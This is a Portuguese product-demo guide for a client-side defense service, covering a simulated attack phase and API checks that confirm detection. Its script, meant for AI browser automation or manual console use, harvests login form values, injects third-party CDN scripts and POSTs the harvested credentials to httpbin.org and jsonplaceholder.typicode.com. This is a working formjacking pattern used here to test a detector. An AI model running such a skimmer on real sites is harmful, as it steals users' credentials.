- Início
- Defesa do lado do cliente
- Demo
- Fase 2 — Ataque
Fase 2 — Ataque
A Fase 2 gera tráfego de ataque simulado contra a aplicação protegida e confirma que o CSD o detectou. A Fase 1 deve estar completa — todas as verificações da Etapa 7 com status APROVADO — antes de prosseguir.
Etapa 8: Simulação de Ataque
Seção intitulada “Etapa 8: Simulação de Ataque”Após a infraestrutura ser verificada (todas as verificações da Etapa 7 da Fase 1 com status APROVADO), execute os scripts de simulação de ataque para gerar detecções do CSD. Os scripts estão definidos no guia Acionar Detecção e na Biblioteca de Scripts de Ataque.
Execução Automatizada por IA
Seção intitulada “Execução Automatizada por IA”Assistentes de IA com ferramentas de automação de navegador executam a simulação de ataque de forma programática:
- Navegar com initScript — primeiro navegue para
about:blankpara garantir um contexto de documento limpo (evita initScripts obsoletos de navegações anteriores), depoisnavigate_pageparahttp://$F5XC_DOMAINNAME/#/logincom uminitScriptque salva as referências nativas desetInterval,clearInterval,fetcheconsole.logantes que o zone.js as substitua, aguarda os campos do formulário de login, preenche as credenciais via o setter nativoHTMLInputElement.prototype.valuee executa o Script de Detecção Combinado inline imediatamente. Use o initScript exato abaixo. - Dispensar Banner de Boas-vindas —
press_keycomEscapepara fechar o Banner de Boas-vindas. Em visitas subsequentes, o banner pode não aparecer (cookies persistidos). O diálogo de consentimento de cookies é dispensado automaticamente pela tecla Escape. - Aguardar a conclusão — aguarde 10 segundos para que todos os callbacks de carregamento/erro de scripts do CDN e resoluções de promessas fetch sejam concluídos.
- Capturar evidências —
list_console_messagespara verificar[CSD Demo] Simulation completee resultados de carregamento do CDN;list_network_requestsfiltrado por tiposscriptefetchpara verificar códigos de status HTTP (200/201para sucesso,pendingpara requisições retidas).
initScript da Fase 2 (literal — use exatamente como está escrito):
// Save native references before zone.js patches themvar _si = window.setInterval.bind(window);var _ci = window.clearInterval.bind(window);var _fetch = window.fetch.bind(window);var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection scriptvar _poll = _si(function() { var emailEl = document.querySelector('#email'); var passEl = document.querySelector('#password'); if (emailEl && passEl) { _ci(_poll); // Fill credentials via native setter (bypasses zone.js) var nativeSet = Object.getOwnPropertyDescriptor( window.HTMLInputElement.prototype, 'value').set; nativeSet.call(emailEl, 'test@example.com'); emailEl.dispatchEvent(new Event('input', { bubbles: true })); nativeSet.call(passEl, 'P@ssword123'); passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil (function() { _log('=================================================='); _log('[CSD Demo] Combined Detection Script — Starting'); _log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting'); var inputs = document.querySelectorAll('input'); var harvested = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; harvested[name] = input.value || '(empty)'; }); _log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection'); var cdns = [ { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' }, { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' }, { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' }, { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' } ]; cdns.forEach(function(cdn) { var script = document.createElement('script'); script.src = cdn.url; script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); }; script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); }; document.head.appendChild(script); _log('[Supply Chain] Injected script tag: ' + cdn.name); });
_log('\n[Exfil] Phase 3: Data exfiltration'); var payload = JSON.stringify({ type: 'combined_demo', credentials: harvested, page: window.location.href, timestamp: Date.now() }); _fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }) .then(function() { _log('[Exfil] Data sent to www.httpbin.org'); }); _fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: payload }).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n=================================================='); _log('[CSD Demo] Simulation complete'); _log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length); _log('[CSD Demo] Scripts injected: 4 (4 CDN domains)'); _log('[CSD Demo] Exfil channels: 2 (fetch POST)'); _log('=================================================='); })(); }}, 300);Execução Manual
Seção intitulada “Execução Manual”Operadores sem ferramentas de automação de navegador realizam as etapas manualmente:
- Navegar para a página de login da aplicação protegida:
http://xF5XC_DOMAINNAMEx/#/login - Inserir credenciais fictícias — digite
test@example.comno campo Email eP@ssword123no campo Senha (não envie o formulário) - Abrir DevTools — pressione F12 e mude para a aba Console
- Executar o Script de Detecção Combinado — cole o script de Acionar Detecção — Executar o Script de Simulação Combinado no console e pressione Enter
- Verificar a saída do console — confirme que a saída em fases
[CSD Demo]exibe: coleta de campos do formulário, injeção de script a partir de 4 domínios CDN e exfiltração de dados para 2 endpoints
O Que É Acionado
Seção intitulada “O Que É Acionado”| Sinal | Comportamento | Detecção |
|---|---|---|
| Coleta de campos do formulário | Lê os valores dos campos de email e senha | Scripts lendo campos de formulário sensíveis — sinalizados como Alto Risco |
| Injeção de script | Injeta 4 tags <script> de cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io | Até 4 novos domínios de script de terceiros detectados (disponibilidade do CDN pode variar) |
| Exfiltração de dados | Envia dados coletados via fetch para www.httpbin.org e jsonplaceholder.typicode.com | Chamadas de rede para domínios externos |
Evidências
Seção intitulada “Evidências”O assistente de IA deve relatar o seguinte. Para execução automatizada por IA, as evidências são capturadas de forma programática via list_console_messages (a função de polling do initScript registra os resultados no console). Para execução manual, o operador lê a saída do console do navegador.
| Verificação | Esperado | Status |
|---|---|---|
| Página de login carregada | 200 OK em http://$F5XC_DOMAINNAME/#/login | APROVADO / REPROVADO |
| Script do console executado | [CSD Demo] Simulation complete na saída do console | APROVADO / REPROVADO |
| Campos coletados | Contagem > 0 na saída do console | APROVADO |
| Scripts injetados | 1–4 domínios CDN na saída do console (alguns podem falhar com erros de recursos) | APROVADO se qualquer domínio CDN aparecer |
| Canais de exfiltração | 2 tentativas de fetch POST na saída do console | APROVADO |
Etapa 9: Verificação de Detecção via API
Seção intitulada “Etapa 9: Verificação de Detecção via API”Consulte os endpoints da API do CSD para confirmar que as detecções apareceram. Use o loop de polling: consulte /detected_domains a cada 60 segundos; prossiga assim que DET-3 for aprovado. Se DET-3 não for aprovado após 10 minutos, verifique a configuração do CSD. Se DET-3 não for aprovado após 30 minutos, interrompa e reporte ao operador. Esses endpoints estão documentados na Referência da API e usam a mesma autenticação e namespace das etapas anteriores.
Scripts Detectados
Seção intitulada “Scripts Detectados”Consulte os scripts detectados nas últimas 24 horas:
NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s -X POST \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ -H "Content-Type: application/json" \ -d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \ | jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'| Campo | Esperado | Status |
|---|---|---|
total | > 0 (scripts detectados) | APROVADO se > 0; PENDENTE se 0, mas /detected_domains mostrar domínios de exfiltração |
| Nomes de scripts | Inclui domínios CDN (cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io) em script_name | APROVADO se domínios CDN injetados aparecerem |
Domínios Detectados
Seção intitulada “Domínios Detectados”curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \ | jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'| Campo | Esperado | Status |
|---|---|---|
total_domains | > 0 | APROVADO se > 0 |
| Lista de domínios | Inclui domínios CDN e de exfiltração | APROVADO se os domínios esperados aparecerem |
Campos de Formulário
Seção intitulada “Campos de Formulário”NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \ | jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'| Campo | Esperado | Status |
|---|---|---|
total | > 0 | APROVADO se > 0; PENDENTE se 0, mas DET-3 for aprovado |
name | Inclui email, password | APROVADO se campos sensíveis aparecerem |
sensitivity | Sensitive para campos de email/senha | APROVADO se o ML classificar corretamente |
Resumo de Evidências da Fase 2
Seção intitulada “Resumo de Evidências da Fase 2”Após todas as consultas de detecção, apresente o status final de detecção:
| ID do Teste | Verificação | Status |
|---|---|---|
| DET-1 | Scripts detectados (endpoint /scripts) | APROVADO se > 0; PENDENTE se vazio, mas DET-3 for aprovado |
| DET-2 | Domínios CDN detectados | APROVADO / REPROVADO |
| DET-3 | Domínios de exfiltração detectados (/detected_domains) | Indicador principal — APROVADO se www.httpbin.org ou jsonplaceholder.typicode.com aparecerem |
| DET-4 | Campos de formulário detectados (endpoint /formFields) | APROVADO se > 0; PENDENTE se vazio, mas DET-3 for aprovado |
Fase 2 concluída. Prossiga para Fase 3 — Mitigar para aplicar regras de mitigação e verificar se os domínios estão bloqueados.